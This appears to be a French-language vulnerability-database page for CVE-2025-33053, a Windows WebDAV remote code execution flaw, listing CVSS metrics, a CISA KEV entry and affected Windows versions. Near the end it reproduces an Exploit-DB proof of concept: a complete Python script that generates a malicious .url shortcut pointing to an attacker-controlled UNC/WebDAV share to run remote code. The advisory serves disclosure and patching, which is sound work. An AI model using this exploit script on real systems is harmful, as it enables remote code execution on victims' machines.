CVE-2025-33053 : Détail

CVE-2025-33053

8.8
/
Haute
A04-Insecure Design
32.83%V4
Network
2025-06-10
17h02 +00:00
2025-06-13
01h10 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Web Distributed Authoring and Versioning (WEBDAV) Remote Code Execution Vulnerability

External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-73 External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Functional

Functional exploit code is available. The code works in most situations where the vulnerability exists.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 secure@microsoft.com

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Web Distributed Authoring and Versioning (WebDAV) External Control of File Name or Path Vulnerability

Action requise : Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2025-06-09 22h00 +00:00

Action attendue : 2025-06-30 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 52334

Date de publication : 2025-06-14 22h00 +00:00
Auteur : Dev Bui Hieu
EDB Vérifié : No

Exploit Title: WebDAV Windows 10 - Remote Code Execution (RCE) Date: June 2025 Author: Dev Bui Hieu Tested on: Windows 10, Windows 11 Platform: Windows Type: Remote CVE: CVE-2025-33053 Description: This exploit leverages the behavior of Windows .URL files to execute a remote binary over a UNC path. When a victim opens or previews the .URL file (e.g. from email), the system may automatically reach out to the specified path (e.g. WebDAV or SMB share), leading to arbitrary code execution without prompt. ```bash python3 gen_url.py --ip 192.168.1.100 --out doc.url ``` import argparse def generate_url_file(output_file, url_target, working_directory, icon_file, icon_index, modified): content = f"""[InternetShortcut] URL={url_target} WorkingDirectory={working_directory} ShowCommand=7 IconIndex={icon_index} IconFile={icon_file} Modified={modified} """ with open(output_file, "w", encoding="utf-8") as f: f.write(content) print(f"[+] .url file created: {output_file}") def main(): parser = argparse.ArgumentParser(description="Generate a malicious .url file (UNC/WebDAV shortcut)") parser.add_argument('--out', default="bait.url", help="Output .url file name") parser.add_argument('--ip', required=True, help="Attacker IP address or domain name for UNC/WebDAV path") parser.add_argument('--share', default="webdav", help="Shared folder name (default: webdav)") parser.add_argument('--exe', default=r"C:\Program Files\Internet Explorer\iediagcmd.exe", help="Target executable path on victim machine") parser.add_argument('--icon', default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", help="Icon file path") parser.add_argument('--index', type=int, default=13, help="Icon index (default: 13)") parser.add_argument('--modified', default="20F06BA06D07BD014D", help="Fake Modified timestamp (hex string)") args = parser.parse_args() working_directory = fr"\\{args.ip}\{args.share}\\" generate_url_file( output_file=args.out, url_target=args.exe, working_directory=working_directory, icon_file=args.icon, icon_index=args.index, modified=args.modified ) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.21034

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.21034

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.8148

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.8148

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.7434

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.7434

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5965

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5965

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.5965

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5965

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5965

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.5965

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.5472

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.5472

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.5472

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.5472

Microsoft>>Windows_11_24h2 >> Version To (excluding) 10.0.26100.4349

Microsoft>>Windows_11_24h2 >> Version To (excluding) 10.0.26100.4349

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version To (excluding) 10.0.14393.8148

Microsoft>>Windows_server_2019 >> Version To (excluding) 10.0.17763.7434

Microsoft>>Windows_server_2022 >> Version To (excluding) 10.0.20348.3807

Microsoft>>Windows_server_2022_23h2 >> Version To (excluding) 10.0.25398.1665

Microsoft>>Windows_server_2025 >> Version To (excluding) 10.0.26100.4349

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.